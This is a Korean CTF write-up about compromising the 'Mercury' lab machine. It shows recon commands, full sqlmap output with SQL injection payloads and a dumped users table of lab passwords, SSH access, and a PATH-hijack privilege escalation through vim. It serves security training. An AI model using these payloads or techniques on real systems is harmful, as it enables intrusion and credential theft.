> For the complete documentation index, see [llms.txt](https://krjaeh0.gitbook.io/j-log/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://krjaeh0.gitbook.io/j-log/security/ctf-and-wargame/ctf-writeups/ctf_mercury.md).

# CTF\_Mercury

{% stepper %}
{% step %}

### IP 탐색

명령어:

```bash
arp-scan -l
fping -g 192.168.56.0/24 --ipv4 -s
```

이미지:  
{% endstep %}

{% step %}

### 서비스 탐색

명령어:

```bash
nmap 192.168.56.110 -sV -v -p- -sC
dirb http://192.168.56.110:8080/
nikto -h 192.168.56.110:8080 -C all
```

이미지:   

gobuster 실행:  

* wordlist\_files 를 활용:  
  {% endstep %}

{% step %}

### 사이트 접속

사이트 접속 화면: 

페이지 분석: 

* 파이썬으로 웹을 만들었음을 확인
* 인젝션에 취약한 서버
* 잘못된 구문이라도 서버에서 반응하면 SQL 인젝션 가능성 높음
* 수동 점검과 자동 점검이 있음
  {% endstep %}

{% step %}

### sql 자동 점검

자동 도구(예: sqlmap) 결과 스니펫 및 검증 과정: 

* 일반 점검에서는 별다른 정보 없음 

상세한 점검 예시 — DB 정보 확인, 테이블 조회, 데이터 덤프:  

* 데이터베이스 목록 획득 성공
* users 테이블 데이터 확인: 

아래는 sqlmap 실행 결과 예시(원문 그대로):

```
┌──(jaeho㉿Attacker)-[~]
└─$ sudo sqlmap -u http://192.168.56.110:8080/mercuryfacts/1 -D mercury -T users --dump
[sudo] password for jaeho: 
        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.8.5#stable}
|_ -| . [']     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 21:18:06 /2024-09-29/

[21:18:06] [WARNING] you've provided target URL without any GET parameters (e.g. 'http://www.site.com/article.php?id=1') and without providing any POST parameters through option '--data'
do you want to try URI injections in the target URL itself? [Y/n/q] y
[21:18:12] [INFO] testing connection to the target URL
got a 301 redirect to 'http://192.168.56.110:8080/mercuryfacts/1/'. Do you want to follow? [Y/n] y
[21:18:14] [INFO] checking if the target is protected by some kind of WAF/IPS
[21:18:14] [INFO] testing if the target URL content is stable
[21:18:14] [WARNING] URI parameter '#1*' does not appear to be dynamic
[21:18:15] [INFO] heuristic (basic) test shows that URI parameter '#1*' might be injectable (possible DBMS: 'MySQL')
[21:18:16] [INFO] testing for SQL injection on URI parameter '#1*'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] y
[21:18:25] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[21:18:26] [WARNING] reflective value(s) found and filtering out
[21:18:27] [INFO] URI parameter '#1*' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable 
[21:18:27] [INFO] testing 'Generic inline queries'
[21:18:27] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[21:18:27] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[21:18:28] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[21:18:28] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[21:18:28] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
[21:18:28] [INFO] URI parameter '#1*' is 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)' injectable 
[21:18:28] [INFO] testing 'MySQL inline queries'
[21:18:28] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
[21:18:28] [WARNING] time-based comparison requires larger statistical model, please wait................ (done)  
[21:18:38] [INFO] URI parameter '#1*' appears to be 'MySQL >= 5.0.12 stacked queries (comment)' injectable 
[21:18:38] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[21:18:48] [INFO] URI parameter '#1*' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable 
[21:18:48] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[21:18:48] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[21:18:48] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[21:18:49] [INFO] target URL appears to have 1 column in query
[21:18:49] [INFO] URI parameter '#1*' is 'Generic UNION query (NULL) - 1 column' injectable
URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection point(s) with a total of 45 HTTP(s) requests:
---
Parameter: #1* (URI)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: http://192.168.56.110:8080/mercuryfacts/1 AND 1707=1707

    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: http://192.168.56.110:8080/mercuryfacts/1 AND GTID_SUBSET(CONCAT(0x7178707a71,(SELECT (ELT(1040=1040,1))),0x717a707a71),1040)

    Type: stacked queries
    Title: MySQL >= 5.0.12 stacked queries (comment)
    Payload: http://192.168.56.110:8080/mercuryfacts/1;SELECT SLEEP(5)#

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: http://192.168.56.110:8080/mercuryfacts/1 AND (SELECT 3354 FROM (SELECT(SLEEP(5)))gHQm)

    Type: UNION query
    Title: Generic UNION query (NULL) - 1 column
    Payload: http://192.168.56.110:8080/mercuryfacts/1 UNION ALL SELECT CONCAT(0x7178707a71,0x417053716270486d4d6b464b6a4e414748507778494d79524e6768576d5a69766d58505250415273,0x717a707a71)-- -
---
[21:18:55] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.6
[21:18:55] [INFO] fetching columns for table 'users' in database 'mercury'
[21:18:55] [INFO] fetching entries for table 'users' in database 'mercury'
Database: mercury
Table: users
[4 entries]
+----+-------------------------------+-----------+
| id | password                      | username  |
+----+-------------------------------+-----------+
| 1  | johnny1987                    | john      |
| 2  | lovemykids111                 | laura     |
| 3  | lovemybeer111                 | sam       |
| 4  | mercuryisthesizeof0.056Earths | webmaster |
+----+-------------------------------+-----------+

[21:18:55] [INFO] table 'mercury.users' dumped to CSV file '/root/.local/share/sqlmap/output/192.168.56.110/dump/mercury/users.csv'                                                                                                   
[21:18:55] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.56.110'

[*] ending @ 21:18:55 /2024-09-29/
```

* DB 사용자 계정과 비밀번호를 획득 
  {% endstep %}

{% step %}

### ssh 접속

* 획득한 계정과 비밀번호로 SSH 접속을 시도:  
* user flag 획득

시스템 정보 확인:  (리눅스 커널 버전)  (리눅스 배포 정보)

권한 상승 관련 조사:

* sudo -l 확인
* 노트 파일에서 암호화된 계정/비밀번호 발견: 
* bWVyY3VyeW (문자열)  
* linuxmaster 계정으로 접속

sudo -l 결과: 

* /usr/bin/check\_syslog.sh 를 실행 가능

취약점 이용(예: vim 편집기를 이용한 권한 상승)

* tail 명령어 실행 시 vim이 실행되도록 링크 설정 
* 현재 디렉토리를 환경변수에 저장 
* 환경변수 설정 후 vim으로 root 권한 쉘 실행   
* tail 명령어로 vi를 실행할 수 있으면 유사한 방법으로 권한 상승 가능
  {% endstep %}

{% step %}

### ZAP 액티브 스캐닝

참고: Zap 관련 자료는 별도 페이지를 참조(링크 보존).

* [Zap 문서 링크](file:///5659318/security/Zap.md)

이미지: 
{% endstep %}
{% endstepper %}


---

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```
GET https://krjaeh0.gitbook.io/j-log/security/ctf-and-wargame/ctf-writeups/ctf_mercury.md?ask=<question>&goal=<endgoal>
```

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